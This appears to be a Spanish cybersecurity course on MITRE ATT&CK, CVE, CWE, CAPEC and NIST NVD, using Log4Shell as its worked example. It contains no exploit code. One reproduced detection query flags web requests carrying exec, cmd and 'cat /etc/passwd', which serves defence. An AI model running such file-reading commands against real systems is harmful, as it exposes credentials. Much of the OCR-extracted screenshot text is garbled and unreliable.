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@ Objetivo General

Capacitar a los participantes en el uso practico de las principales bases de conocimiento de MITRE para mejorar la ciberdefensa,
identificacion de vulnerabilidades, analisis de amenazas y disefio de estrategias de mitigacion.

Temario:

1 Introduccién a MITRE.org y MITRE ATT&CK
1.1 MITRE y su ecosistema
1.2 Componentes principales
1.3 Algunos enlaces de interés
1.4 é¢Cémo se relacionan?
1.5 NIST NVD (National Vulnerability Database)
PRACTICAS Y EJERCICIOS DEL CAPITULO 1

2. Comprendiendo las Tacticas de MITRE ATT&CK
2.1¢Qué es MITRE ATT&CK?
2.2 Estructura del framework
2.3 Como navegar la matriz
2.4 Herramienta complementaria: ATT&CK Navigator
PRACTICAS Y EJERCICIOS DEL CAPITULO 2

3. Mitre Caldera
3.1 Qué es Caldera de MITRE
3.2 Herramienta: Caldera de MITRE
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3.2.1 |Instalacion de Caldera.

3.2.2 Accesoy presentacion de Caldera

3.2.3 Prueba inicial de “agent”

3.2.4 Secuencia normal de trabajo con Mitre Caldera
3.2.5 Lancemos nuestra primer operacion
PRACTICAS Y EJERCICIOS DEL CAPITULO 3

4. Integracion de ATT&CK, CVE, CWE y CAPEC en un Caso Real
4.1 Caso: Apache Log4Shell (CVE-2021-44228)
4.2 Etapas del ataque y mapa MITRE ATT&CK
4.3 Elementos relacionados
4.4 Simulacién del ataque con entorno controlado

4.5 EJERCICIO: Analisis, correlacidn y mitigacién

5. EJERCICIO FINAL: Simular y analizar una campaiia de ataque

6. Respuestas
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1 — Introduccion a MITRE.org y MITRE ATT&CK

¢Qué es MITRE?

MITRE es una organizacién sin fines de lucro que provee recursos vitales
para entender las amenazas y vulnerabilidades que enfrentan los
sistemas hoy en dia. Su proyecto inicial fue el SAGE (Semi-Automatic
Ground Environment), que se traté del primer sistema conectado de
defensa aérea de EEUU y estaba compuesto por grandes ordenadores
y redes que tenian el fin de coordinar los datos de las estaciones de
radar. Esta organizacion, todavia existe en la actualidad, pero ahora se
denomina MITRE.

En 2014 crearon el Unico centro de I1+D de colaboracién publico-privada
en EEUU dedicado en exclusiva a la ciberseguridad: el National

INNOVATION fa:{tl/®Y 3. 91

Cybersecurity FFRDC (Federally Funded Research and Development OUR RD CENTERS CONNECY WITH MITRE ..-\‘

.
Centers).  Fruto de esta amplia experiencia, los equipos de MITRE

desarrollaron ATT&CK (Adversarial Tactics, Techniques, and Common
Knowledge), una herramienta que ahora es muy utilizada por toda la
comunidad de expertos en ciberseguridad.

El nombre MITRE fue creado por James McCormack Jr, uno de los miembros originales del consejo de administraciéon. Este nombre no es un acrénimo,
aunque se pueden encontrar en Internet varias afirmaciones de que lo es (Massachusetts Institute of Technology Research And Engineering o Massachusetts
Institute of Technology Reject Engineers), originalmente siempre en mayusculas, MITRE comenz6 a utilizar mayusculas normales alrededor de la época de la
escision de Mitretek, pero ambas formas todavia se pueden encontrar ampliamente a partir de 2023.

En 2023, Simon Garfinkel para MIT Technology Review estudié cientos de documentos de archivo y no pudo determinar el origen del nombre de MITRE.
Howard Murphy, historiador de la Universidad Estatal de Nueva York en Oneonta, fue citado en Technology Review diciendo que los fundadores de la
empresa eligieron el nombre MITRE porque era la grafia francesa de la palabra inglesa “miter”, una unién suave de dos piezas
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En este curso veremos cuatro pilares fundamentales de MITRE:
1. MITRE ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge )— Matriz que organiza y clasifica todas las

tacticas y técnicas que los adversarios usan en ataques reales. Lo veremos con muchos ejemplos practicos, desde la ®
ejecucion remota hasta la exfiltracion de datos.

2. CVE (Common Vulnerabilities and Exposures) — Listado oficial de vulnerabilidades con identificadores Unicos, que te
permiten saber exactamente qué fallas afectan a tus sistemas.

3. CWE (Common Weakness Enumeration) — Catdlogo de w Common Weakness Enumeration

M comunes en software Yy hardware que causan esas A community-developed list of SW & HW weaknesses that can become vulnerabilities
vulnerabilidades.

4. CAPEC (Common Attack Pattern Enumeration and Classification) — Clasificacion de patrones de ataque que usan los adversarios para explotar esas

mmc Common Attack Pattern Enumeration and Classification

debilidades.

. A Community Resource for Identifying and Understanding Attacks

éPor qué es importante esto? Porque al comprender este ecosistema podemos anticipar ataques, detectar intrusiones y mejorar la seguridad de forma
proactiva.

Durante el curso, ademads de teoria, vamos a realizar muchos ejercicios practicos: blusquedas en bases de datos, simulaciones con la herramienta Mitre
Caldera, scripting para deteccién de vulnerabilidades, analisis de casos reales y mucho mas.

Al final, estaras listo para aplicar estas técnicas en cualquier entorno profesional.

Este conocimiento no solo te hara entender mejor el panorama de ciberseguridad, sino que te dara herramientas para analizar y defender sistemas en la
vida real.
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1.1 MITRE y su ecosistema

MITRE Corporation opera centros de investigacion y desarrollo financiados por el gobierno de los Estados Unidos (FFRDCs: Federally funded research and
development centers). Su mision es resolver problemas complejos de interés publico, especialmente en areas como:

e Defensa

e Seguridad nacional
e Salud

e Ciberseguridad

En ciberseguridad, MITRE desarrolla modelos, bases de conocimiento, marcos de ataque y defensa, y clasificaciones que son de uso libre y ampliamente
adoptadas por gobiernos, empresas e investigadores.

1.2 Componentes principales

Iniciativa Enlace Propoésito
Base de conocimiento de tacticas y técnicas utilizadas por
MITRE ATT&CK attack.mitre.org , y P
adversarios reales.
CVE (Common Vulnerabilities and Exposures) |cve.mitre.org Registro publico de vulnerabilidades conocidas.
. . Clasificacion de debilidades en software que pueden causar
CWE (Common Weakness Enumeration) cwe.mitre.org que p

vulnerabilidades.

CAPEC (Common Attack Pattern Enumeration

e capec.mitre.or Catalogo de patrones de ataque utilizados por adversarios.
and Classification) P 8 g P q p
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1.3 Algunos enlaces de interés

A continuacidn se presentan una serie de enlaces mas directos hacia las diferentes paginas con las que trabajaremos durante todo este ciclo.

https://www.mitre.org = OUR R&D CENTERS

https://www.mitre.org/our-impact/rd-centers = OUR FFRDCS

federally funded research and development centers (FFRDCs)

https://www.mitre.org/our-impact/rd-centers/national-cybersecurity-ffrdc

CYBER OPERATIONS AND EFFECTS INNOVATION CENTER
https://www.mitre.org/our-impact/mitre-labs/cyber-operations-and-effects-innovation-center
RESOURCES
MITRE ATT&CK

https://attack.mitre.org

Common Vulnerabilities and Exposures

https://cve.mitre.org

Common Weakness Enumeration

https://cwe.mitre.org

Common Attack Pattern Enumeration and Classification

https://capec.mitre.org

https://www.mitre.org/our-impact/rd-centers/national-cybersecurity-ffrdc

Abajo de todo: CYBER SOLUTIONS INNOVATION CENTER —> EXPLORE CYBER SOLUTIONS
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https://www.mitre.org/our-impact/mitre-labs/cyber-solutions-innovation-center

RESOURCES

Common Vulnerabilities and Exposures

https://cve.mitre.org

Common Weakness Enumeration

https://cwe.mitre.org

Common Attack Pattern Enumeration and Classification

https://capec.mitre.org

También se puede llegar desde:

https://www.mitre.org = Cybersecurity = Learn More

MITRE LABS: https://www.mitre.org/our-impact/mitre-labs
CYBER INFRASTRUCTURE PROTECTION INNOVATION CENTER

https://www.mitre.org/our-impact/mitre-labs/cyber-infrastructure-protection-innovation-center

CYBER OPERATIONS AND EFFECTS INNOVATION CENTER
https://www.mitre.org/our-impact/mitre-labs/cyber-operations-and-effects-innovation-center
RESOURCES
MITRE ATT&CK

https://attack.mitre.org

Common Vulnerabilities and Exposures

https://cve.mitre.org (hoy: https://www.cve.org)

Common Weakness Enumeration

MITRE.org
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https://attack.mitre.org/
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https://cwe.mitre.org

Common Attack Pattern Enumeration and Classification

https://capec.mitre.org

Si deseas profundizar mas aln en todos sus centros de investigacién, aqui abajo os dejamos todos los enlaces:

https://www.mitre.org/our-impact/mitre-labs

= Artificial Intelligence and Autonomy Innovation Center

= Cost, Acquisition, and Management Sciences Center

= Cross-Cutting Urgent Innovation Cell

= Cyber Infrastructure Protection Innovation Center

= Cyber Operations and Effects Innovation Center

= Cyber Solutions Innovation Center

= Electronic Systems Innovation Center

=Emerging Technology Innovation Center

= Enterprise Strategy and Transformation Innovation Center

=Health and Society Innovation Center

= Infrastructure and Networking Innovation Center

=|ntegrated Systems Innovation Center

= Modeling and Analysis Innovation Center

s Software Engineering Innovation Center

=Systems Engineering Innovation Center

MITRE.org 6


https://cwe.mitre.org/
https://capec.mitre.org/
https://www.mitre.org/our-impact/mitre-labs
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https://www.mitre.org/our-impact/mitre-labs/cyber-solutions-innovation-center
https://www.mitre.org/our-impact/mitre-labs/electronic-systems-innovation-center
https://www.mitre.org/our-impact/mitre-labs/emerging-technology-innovation-center
https://www.mitre.org/our-impact/mitre-labs/enterprise-strategy-transformation-innovation-center
https://www.mitre.org/our-impact/mitre-labs/health-innovation-center
https://www.mitre.org/our-impact/mitre-labs/infrastructure-and-networking-innovation-center
https://www.mitre.org/our-impact/mitre-labs/integrated-systems-innovation-center
https://www.mitre.org/our-impact/mitre-labs/modeling-and-analysis-innovation-center
https://www.mitre.org/our-impact/mitre-labs/software-engineering-innovation-center
https://www.mitre.org/our-impact/mitre-labs/systems-engineering-innovation-center
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1.4 ¢{Como se relacionan?

Para entenderlo mejor, veamos un ejemplo en cuatro pasos encadenado MITRE ATT&CK, CVE, CWE y CAPEC.

Paso 1. un atacante explota una vulnerabilidad conocida:
“» CVE-2021-44228 (Log4Shell):
https://www.cve.org/CVERecord?id=CVE-2021-44228

Descubrimos que un atacante ha podido controlar los
parametros de los mensajes de registro y ejecutado
coédigo arbitrario en nuestro servidor LDAP.
Investigando, vemos que puede tener relaciéon con
esta CVE-2021-44228.

Si abrimos la misma desde el enlace de arriba, lo
primero que nos indica es que se trata de un problema
de Apache, en concreto relacionado con Log4j2, y que
afecta a las versiones: 2.0-beta9 hasta 2.15.0
(excluyendo las versiones de seguridad 2.12.2, 2.12.3
y 2.3.1).

Si buscamos en Google por Apache Logdj2 nos indica
que: “Apache Log4j 2 se erige como uno de los marcos
de trabajo de registro mds potentes y versdtiles
disponibles para aplicaciones Java. Como sucesor del
ampliamente utilizado Log4j, este marco de trabajo
completamente reescrito aborda los problemas de
rendimiento, las limitaciones arquitectonicas y las
vulnerabilidades de seguridad que plagaban las
versiones anteriores”.

CVE-2021-44228 ' pususteo

Required CVE Record Information

CNA: Apache Software Foundation -

Published: 2021-12-10 Updated: 2023-04-03

Description

Apache Logging Services projects.

CWE 3 Total

Learn more

| « cWE-502: CWE-502 Deserialization of Untrusted Data |
« CWE-400: CWE-400 Uncontrolled Resource Consumption
o CWE-20: CWE-20 Improper Input Validation

Product Status
Learn more

Vendor
Apache Software Foundation

Versions 1 Total

Title: Apache Log4j2 JNDI Features Do Not Protect Against Attacker Controlled LDAP And Other JNDI Related Endpoints

Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log
messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control
log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is
enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this
functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other

& View JSON | B User Guide

Collapse all

Product
Apache Log4j2

Si analizamos el contenido de esta CVE, vemos que esta relacionado con 3 CWE, la primera de ellas es CWE-502. Por lo que, para

seguir investigando el tema, nos dirigimos a la misma.

MITRE.org
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NOTA: Mas adelante, en este mismo punto, desarrollaremos la
relacion de CVE con NIST. No quisimos hacerlo en este pdarrafo para
no desviarnos de la secuencia de analisis dentro de MITRE, pero no DATABASE
te pierdas esta relaciéon, mds adelante pues es fundamental. NVD

NATIONAL VULNERABILITY

Paso 2. Esa vulnerabilidad se debe a

una debilidad de software:

7 CWE-502: Deserialization of Untrusted Data:
https://cwe.mitre.org/data/definitions/502.html

Si abrimos esta CWE, lo primero que vemos en su
Descripcidn es que: “El producto deserializa datos
no fiables sin garantizar suficientemente que los
datos resultantes serdn validos”. (recuadrado en
verde).

Si nuevamente consultamos en Google, de qué se
trata esto, nos dice que: “La deserializacion de datos
no fiables, también conocida como deserializacion
insegura, ocurre cuando una aplicacion web permite
que datos serializados, provenientes de fuentes no
confiables, sean deserializados y utilizados. Esto
puede permitir _que atacantes inyecten cddigo
malicioso o _manipulen el comportamiento de la

aplicacion, llevando a la ejecucion remota de codigo, robo de datos o incluso el control total del sistema”.

CWE-502: Deserialization of Untrusted Data

Weakness ID: 502
: ALLOWED
Abstraction: Base

wor:conepu ) cpemnn | 92059 ) (Compiata] _ cunon )

¥ Description

The product deserializes untrusted data without sufficiently ensuring that
the resulting data will be valid.

7 Alternate Terms

» Common Consequences

7 Potential Mitigations

7 Relationships

» Background Details

» Modes Of Introduction

7 Applicable Platforms

7 Likelihood Of Exploit

7 Demonstrative Examples

7 Selected Observed Examples
7 Detection Methods

» Memberships

7 Vulnerability Mapping Notes
7 Notes

7 Taxonomy Mappings

¥ Related Attack Patterns

CAPEC-ID Attack Pattern Name
_CAEE:_S_&- 6 | Object Injection

En concreto, esto es lo que nos esta sucediendo. Dicho sea de paso, el dibujo sencillo que nos muestra la CWE al lado de la descripcién, es

bastante representativo.

Con este breve analisis, estamos empezando a comprender cudl es la debilidad que tenemos en nuestra infraestructura.

MITRE.org
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Si prestamos atencidn en la parte inferior de esta CWE, nos indica que se relaciona con el patrén de ataque CAPEC-586 (recuadrado en rojo).
Recordemos que CAPEC quiere decir: “Common Attack Pattern Enumeration and Classification”, por lo que para seguir comprendiendo el
problema, pasemos a analizar este patrén de ataque que puede haber empleado este intruso.

New to

mm Common Attack Pattern Enumeration and Classification CAPEC?

. A Community Resource for Identifying and Understanding Attacks Start Here!

Paso 3. El atacante utiliza un patrén de ataque:
? CAPEC-586: Object Injection - www N®
Nos vamos a: https://capec.mitre.org. Desde alli, en la ventana “search” colocamos 586 (recuadrado en rojo en la imagen de arriba).

Se nos abrird la ventana que presentamos en la imagen que sigue.

CAPEC-586: Object Injection

Attack Pattern ID: 586
Abstraction: Meta

View customized information: Conceptual ) Operational ) Mapping-Friendly ) ____Complete )

¥ Description

An adversary attempts to exploit an application by injecting additional, malicious content during its processing of serialized objects. Developers leverage serialization in order to convert data or state into a static,
binary format for saving to disk ese objects are then deserialized when needed to recover the data/stat bject into a vulnerable application, an adversary
a D e ia It erializati proce i a i 0 a e

on nwan

0 0
¥ Likelihood Of Attack
Medium

¥ Typical Severity
High

¥ Relationships

© view Name Top Level Categories
Domains of Attack Software
Mechanisms of Attack Inject Unexpected Items

¥ Prerequisites
The target application must unserialize data before validation.
¥ Consequences

O scope Impact Likelihood
Availability Resource Consumption
Integrity Modify Data
Authorization Execute Unauthorized Commands

¥ Mitigations

Implementation: Validate object before deserialization process

Design: Limit which types can be deserialized.

Implementation: Avoid having unnecessary types or gadgets available that can be leveraged for malicious ends. Use an allowlist of acceptable classes.
Implementation: Keep session state on the server, when possible.

¥ Related Weaknesses

© CWE-ID Weakness Name
502 Deserialization of Untrusted Data

v References

I [REF-468] "Deserialization of Untrusted Data". OWASP. 2017-01. I

» Content History

MITRE.org


https://capec.mitre.org/

i

Alejandro Corletti Estrada wowww.darFe.es

En la descripcion (recuadrada en verde en la imagen de arriba), nos indica que: “Un adversario intenta explotar una aplicacion inyectando
contenido malicioso adicional durante el procesamiento de objetos serializados. Los desarrolladores utilizan la serializacion para convertir
datos o estados en un formato binario estdtico para guardarlos en disco o transferirlos a través de una red. Estos objetos se deserializan cuando
es necesario recuperar los datos o el estado. Al inyectar un objeto malformado en una aplicacion vulnerable, un adversario puede
potencialmente comprometer la aplicacion manipulando el proceso de deserializacion. Esto puede dar lugar a una serie de resultados no
deseados, incluyendo la ejecucion remota de codigo”.

Nos indica también que su probabilidad de ataque (Likelihood Of Attack) es “Media” y su severidad es “Alta” (High).

Al final de la imagen anterior, hemos resaltado en azul un dato muy importante: [REF-468] "Deserialization of Untrusted Data". OWASP.
2017-01.

OWASP (Open Web Application Security Project), es una organizacion sin animo de lucro dedicada a mejorar la seguridad del software. Su
objetivo principal es proporcionar recursos, herramientas y guias para ayudar a desarrolladores y organizaciones a crear aplicaciones web mas

seguras.
Si nos vamos a Web: https://owasp.org @OUJHSP N
SP, PROJECTS CHAPTERS
Y buscamos por: "Deserialization of Untrusted Data",
recuadrado en rojo, en la imagen de la derecha. E
xplore the world
@ownse, S s & of cyber security
Driven by volunteers, OWASP resources are accessible for everyone.
SN IO CURNEUSIG Uats I Deserialization of Untrusted Data ° QI

NVD Categorization

CWE-502: Deserialization of Untrusted Data: The icati iali data without
sufficiently verifying that the resulting data will be valid.

Description Nos sigue ampliando el detalle de esta vulnerabilidad. A su vez, vemos que la primera linea

Data which is untrusted cannot be trusted to be well formed. Malformed data or unexpected data could be used to nos habla de ”NVD categorization”' donde NVD Vlene de ”Natlonal Vulnerablllty Database, del

abuse application logic, deny service, or execute arbitrary code, when deserialized. ” . ., . , . .,

onsbmonies NIST” que, reiteramos, lo desarrollaremos unas pdginas mads abajo. En este punto también,
« Availability: The logic of deserialization could be abused to create recursive object graphs or never provide NnosS hace referenCIa d Ia CWE‘SOZ, que dacCa ba maos de presental’.

data expected to terminate reading.

« Authorization: Potentially code could make ions that ir ion in the ialized object about the
data is valid. Functions which make this g ion could be i
« Access control (ir ion p i icit objects can abuse the logic of custom deserializers in order

to affect code execution.
Exposure period

« Requi ification: A fali library could be used which ides a cryptographi
to seal serialized data.
« Implementation: Not using the safe deserialization/serializing data features of a language can create data

MITRE.org 10


https://owasp.org/

Alejandro Corletti Estrada

&

=

www.darFe.es

Paso 4. Y ejecuta una técnica de una matriz MITRE ATT&CK:

P T1190: Exploit Public-Facing Application (parte de

Initial Access)

En nuestro caso concreto, el camino mas sencillo que solemos seguir, es buscar por el tipo de vulnerabilidad que venimos estudiando desde

el paso 1, la cual es “Log4dj”. Por lo tanto nos vamos a MITRE ATT&CK: https://attack.mitre.org

Y en la ventana “Search” colocamos: Log4j, tal cual hemos
resaltado en rojo en la imagen de la derecha.

Ahora, prestad mucha atencién!!!, la busqueda nos presenta
diferentes opciones, la primera relacionada a Panda, la
segunda a Cinnamon, la cuarta Active Scaning... pero la
tercera nos dice claramente “Exploit Public-Facing
Application”, es decir: “Explotar una aplicaciéon de cara al
publico”, que es exactamente lo que nos ha sucedido en este
Apache. En este caso, todo indica que es la que mds se ajusta
a todo nuestro analisis, por lo que nos decantamos por esta
misma, que es la “Technique T1190 — Enterprise”. Este
mensaje nos indica que se trata de la matriz de empresa
(Enterprise) y de la Técnica: T1190.

Tactics ~ Defenses ~ CcTI ~

MITRE | ATT&CK

Matrices ~ Techniques ~

TECHNIQUES Home > Techniques > Enterprise > Exploit Public-Facing Application
- i 1 i = .
e Exploit Public-Facing Application
v
Resource v Adversaries may attempt to exploit a weakness in an Internet-facing host or system to
Development initially access a network. The weakness in the system can be a software bug, a
y glitch, ora
Initial Access ~
are often web servers, but can also include databases

Content Injection
(like SQL), standard services (like SMB or SSH), network device administration and
Drive-by Compromise

Exploit Public-Facing
lication

External Remote

(like SNMP and Smart Install), and any other system with Internet-

accessible open sockets. I35 o ESX infrastructure, adversaries may exploit
exposed OpenSLP services; they may alternatively exploit exposed VMware vCenter
servers. /7 pepending on the flaw being exploited, this may also involve Exploitation for

Services Defense Evasion or Exploitation for Client Execution
Ifan ion is hosted on cloud-based infrastructure and/or is containerized, then
Phishing v it may lead to P of the ing instance or container. This can

Replication Through allow an adversary a path to access the cloud or container APIs (e.g., via the Cloud
Removable Media Instance Metadata API), exploit container host access via Escape to Host, or take

advantage of weak identity and access management policies.

Supply Chain v
Compromise Adversaries may also exploit edge network and related
Trusted Relationshi geting devices that do not support robust host-based defenses. I’

Resources ~

M

Exchange Servers; and CVE-2018-13379 in Fortinet FortiOS SSL VPNs.[7](18.

Aquatic Panda, Group G0143

s on victim machines.[2] Enterprise T1595 .002 Active Scanning: Vulnerability Scanning Aquatic Panda has used publicly accessible DNS logging services to
identify servers vulnerable to Logd] (CVE 2021-44228).[1] Enterprise T1560 .001 Archive Collected Data: Archive via Utility Aquatic Panda has used several publicly
available tools, including WinRAR and 7zip, to compress collec.

Cinnamon Tempest, DEV-0401, Emperor Dragonfly, BRONZE STARLIGHT, Group G1021

Cinnamon Tempest has exploited multiple unpatched vulnerabilities for initial access including in

, Manage Engine AdSelfService

Plus, Confluence, and Logdj.[1]{7](5][4] Enterprise T1657 Financial Theft Cinnamon Tempest has maintained leak sites for exfiltrated data in attempt to extort victims
into paying a ransom.[1] Enterprise T1574 .001 Hij

Exploit Public-Facing Application, Technique T1190 - Enterprise

- VE BOLDMOVE is associated with exploitation of CVE-2022-49475 in FortiOS.[35] C0017 C0017 During C0017, APT41 exploited CVE-2021-44207 in the USAHerds

, application and CVE-2021-44228 in Log4), as well as other .NET deserialization, SQL injection, and directory traversal vulnerabilities to gain initial access.[36] C0018
sy C0018 During C0018, the threat actors exploited VMWare Horiz...

Active Scanning: Vulnerability Scanning, Sub-technique T1595.002 - Enterprise

JexBoss tool to identify vulnerabilities in Java applications.[4] G0143 Aquatic Panda Aquatic Panda has used publicly accessible DNS logging services to identify
servers vulnerable to Logdj (CVE 2021-44228).(5] C0029 Cutting Edge During Cutting Edge, threat actors used the publicly available Interactsh tool to identify Ivanti
Connect Secure VPNs vulnerable to CVE-2024-21893.[6.

| load more results

Benefactors Blog 7

ATT&CKcon 6.0 is coming October 14-15 in McLean, VA and live online. Tickets are available now!

ID: T1190

Sub-techniques: No sub-
techniques

D Tactic: Initial Access

U Platforms: Containers, ESXi, laaS,

Linux, Network Devices, Windows,
mac0S

Contributors: Praetorian; Yossi
Weizman, Azure Defender
Research Team

Version: 2.7
Created: 18 April 2018
Last Modified: 15 April 2025

Version Permalink

Si seleccionamos (hacemos “click”) en esta misma, se nos
desplegara la imagen que se presenta a la izquierda.

Sobre la arquitectura que nos presenta MITRE ATT&CK
seguiremos profundizando en el capitulo 2, pero por ahora
solo nos interesa saber que estamos en la:

° Matriz de Empresa (Enterprise)

e  Tactica de Acceso Inicial (Initial Access)

e  Técnica de Explotar una aplicacién de cara al
publico, (Exploit Public-Facing Application)

MITRE.org
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Esta Técnica de Explotar una aplicacion de cara al publico, (Exploit Public-Facing Application), si avanzamos para profundizar en ella, nos presenta:

MITRE | ATT&CI

Varios ejemplos de procedimientos que pueden
emplearse para aprovechar esta vulnerabilidad.

Resources ~  Benefactors

TECHNIQUES
Enterprise «
Reconnaissance v
Resource v
Development
Initial Access ~
Content Injection
Drive-by Compromise
Exploit Public-Facing.
Application

External Remote
Services

Hardware Additions
Phishing v

Replication Through
Removable Media

Mitigations

M1048

M1050

M1035

M1030

M1026

solation and
Sandboxing

Exploit Protection

Limit Access to
Resource Over
Network

Network

Segmentation

Privileged
Account

Management

Application isolation will limit what other processes and system features the exploited target can
access

Web Application Firewalis may be used to limit exposure of apphications to prevent exploit traffic
from reaching the application.

Ensure that all publicly exposed services are actually intended 1o be 50, and restrict access to any
that should only be available internally.

Segment externally facing servers and services from the rest of the network with s DMZ of on
separate hosting infrastructure.

Medias y herramientas que
podemos emplear

Use least privilege for service accounts will imit what permissions the explotied process gets on the
rest of the system.

MITRE | ATT&CK'

TECHNIQUES
Enterprise
Reconnaissance

Resource
Development

Initial Access

Content Injection

Application

External Remote
Services

Phishing

Supply Chain
Compromise

\falid A

Drive-by Compromise
Exploit Public-Facing

Hardware Additions

Replication Through
Removable Media

v

Trusted Relationship

Matrices ~
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against external websites

201813379 for FortiGate VPNs, and CVE-2019-9670 in Zimbra software to gain access.

TECHNIQUES Procedure Examples
o : “ n Name
Reconnaissance v
61030 Agrus
Resource v
Development
Initial Access -
60007 APT28
Content Injection
Drive-by Compromise
Poblicrachg G006 APT29
Application
External Remote
Services o087 APT39

Description

Agrius exploits public-facing applications for initial access to victim environments. Examples
include widespread attempts 10 exploit CVE-2018-13379 in FortiOS devices and SQL injection
activity."

APT28 has used a variety of public exploits, inchuding CVE 20200688 and CVE 202017144, to gain
execution 0n vulnerable Microsoft Exchange; they have also conducted SQL injection attacks.

APT29 has exploited CVE-2019-19781 for Citrix, CVE-2019-11510 for Pulse Secure VPNs, CVE

APT39 has used SQL injection for inktal compromise. "

Diferentes medidas que podemos adoptar para mitigarla.

TECHNIQUES Detection
Enterprise »
0 Data Source  Dats Component
Reconnaissance v
N . DS0015  Application Log ~ Application Log
Content
Development
Initial Access A

Content Injection
Drive-by Compromise

Exploit Public-Facing
Application

External Remote
Services

Hardware Additions
Phishing v
Replication Through DS0029 Network Traffic  Network Traffic
Removable Media
Supply Chain v
Compromise

Trusted Relationship

Valid Accounts v

Content

Detects

Detecting software exploitation may be difficult depending on the tools available.
Software exploits may not always succeed or may cause the exploited process 1o
bee ble or crash. Web Firewalls may detect improper inputs
attempting exploitation. Web server logs (e.g., var/log/htepd Of
Ivaz/1og/apache for Apache web servers on Linux) may also record evidence of
exploitation.

(sources"C:\inetpub\ loge\LogFiles\WISVCs " OR
source="/var/log/apache2/access.10g" O
sources"/var/log/nginx/access.log”) | eval
exploit_attempt=if(like(cs_uri query, *Vexech") OR like(cs_uri_query,
“Vomdd®) OR like(cs_uri_query, “Vcat /etc/passwd\”) OR

like(cs_uri_query.
cs_uri_query, sc_status| where exploit attesptel AND count > 5| table

«/¥7), 1, 0)] stats count by src_ip,

_time, src_ip, cs_uri_guery, sc_status, count

Use deep packet inspection to look for artifacts of common exploit traffic, such as
SQL injection strings or known payloads. For example, monitor for successively
chained functions that adversaries commonly abuse (i.e. gadget chaining) through
unsafe deserialization to exploit publicly facing applications for Initial access. ¥ In
AWS environments, monitor VPC flow logs and/or Elastic Load Balancer (ELB) logs
going to and from instances hosting externally accessible applications.

(source="/var/log/zeek/http.log" OR
source="C:\Windows\Systead2\Logriles\Firevall”)| regex http requests"(?

July). Impact of FrostyGoop ICS Malware on Connected OT
Systems. Retrieved November 20, 2024,

Cybereason Nocturnus. (2019, June 25). Operation Soft Cell:
A Worldwide Campaign Against Telecommunications
Providers. Retrieved July 18, 2019,

N

Marauder: Active Exploitation of Multiple Zero-Day Microsoft
Exchange Vulnerabilities. Retrieved March 3, 2021

Bromiley, M. et al. (2021, March 4). Detection and Response
to Exploitation of Microsoft Exchange Zero-Day
Vulnerabilities. Retrieved March 9, 2021

Microsoft Threat Intelligence Team & Detection and

N

o

Muchas referencias, para analizar el tema hasta el nivel de detalle
qgue deseemos. Por ejemplo, esta técnica ID: T1190, que estamos
analizando posee 114 referencias, como para que podamos dedicarle
varias jornadas si lo deseamos.
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En resumen, en estos cuatro pasos hemos visto de forma practica y con ejemplos, los cuatro pilares de MITRE
Paso 1: 4 CVE con CVE-2021-44228 (Log4Shell)
Paso 2: 4 CWE con CWE-502 Deserialization of Untrusted Data
Paso 3: 7 CAPEC conCAPEC-586: Object Injection

Paso 4. s MITRE ATT&CK con la técnica T1190: Exploit Public-Facing Application (parte de Initial Access)

1.5 NIST NVD (National Vulnerability Database)

En el Paso 1: nos quedd pendiente el desarrollo de NIST NVD.

NOTA: Mas adelante, en este mismo punto, desarrollaremos la

relacién de CVE con NIST. No quisimos hacerlo en este parrafo para NATIONAL VULNERABILITY
no desviarnos de la secuencia de andlisis dentro de MITRE, pero no DATABASE
NVD

te pierdas esta relaciéon, mas adelante pues es fundamental.

El NIST (National Institute of Standards and Technology) o, Instituto Nacional de Estandares y Tecnologia, es una agencia no reguladora del
Departamento de Comercio de los Estados Unidos de Norte América. Su funcion principal es promover la innovacién y la competitividad industrial
a través de avances en la ciencia de la medicidén, normas y tecnologia. Ademas, el NIST desarrolla estandares, directrices y marcos de referencia,
como el Marco de Ciberseguridad del NIST, para ayudar a las organizaciones a gestionar y reducir sus riesgos de ciberseguridad.

La Base de Datos Nacional de Vulnerabilidades (NVD) del NIST es un repositorio publico del gobierno de EEUU que contiene informacién estandarizada
sobre vulnerabilidades de seguridad informatica y sirve como una fuente centralizada para la gestion de vulnerabilidades, la medicion de la seguridad
y el cumplimiento normativo.

MITRE.org 13
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La relacién entre el NVD y CVE es que el primero es el repositorio oficial del gobierno estadounidense para las vulnerabilidades identificadas por las
CVE. NVD utiliza las CVE como base para enriquecer la informacién con detalles adicionales sobre cada vulnerabilidad, como su gravedad (usando
CVSS), tipos de debilidades (usando CWE).

En resumen, las CVE son identificadores Unicos para vulnerabilidades conocidas, mientras que el NVD es una base de datos que proporciona
informacidn detallada y enriquecida sobre esas vulnerabilidades, utilizando las CVE como punto de partida.

CVSS (Common Vulnerability Scoring System) o Sistema Comun de Puntuacion de Vulnerabilidades, es un estandar abierto para evaluar la gravedad
de las vulnerabilidades de seguridad en sistemas informaticos. CVSS permite asignar una puntuacién numérica a una vulnerabilidad, lo que ayuda a
priorizar los esfuerzos de mitigacion. Se encuentra bajo la custodia de FIRST (Forum of Incident Response and Security Teams), pero se trata de un
estdndar completamente abierto, por lo que puede ser utilizado libremente.

En resumen, CVSS es una herramienta libre y gratuita para evaluar la gravedad de las vulnerabilidades y priorizar su mitigacion.

CVSS proporciona un lenguaje comun para discutir y comunicar el riesgo de seguridad.

El sistema CVSS se basa en un conjunto de métricas que se agrupan en cuatro categorias: base, temporal, de entorno y suplementarias. Estas métricas
se combinan para calcular una puntuaciéon numérica que indica la gravedad de la vulnerabilidad. La dltima versidn de CVSS es la 4.0, lanzada en 2022.

En otras palabras, CVE es una lista de vulnerabilidades, mientras que CVSS es
una herramienta para evaluar el riesgo asociado a esas vulnerabilidades.

Volviendo al NIST NVD, su pagina Web es:

NIST = NVD MENU

Information Technology. Laboratory,
N H r NATIONAL VULNERABILITY
NATIONAL VULNERABILITY DATABASE N,

https://nvd.nist.gov, si nos vamos a ella podemos ver que ya tiene en su

home page el enlace con CVSS (verde).
General +
. . —— NVD - .
Si deseamos relacionarla con la CVE Viinerabilities " READ ALL f
NIST . . Vulnerability Metrics + ABOUT IT!
h— que estuvimos analizando en el | | ... i /] 01000100
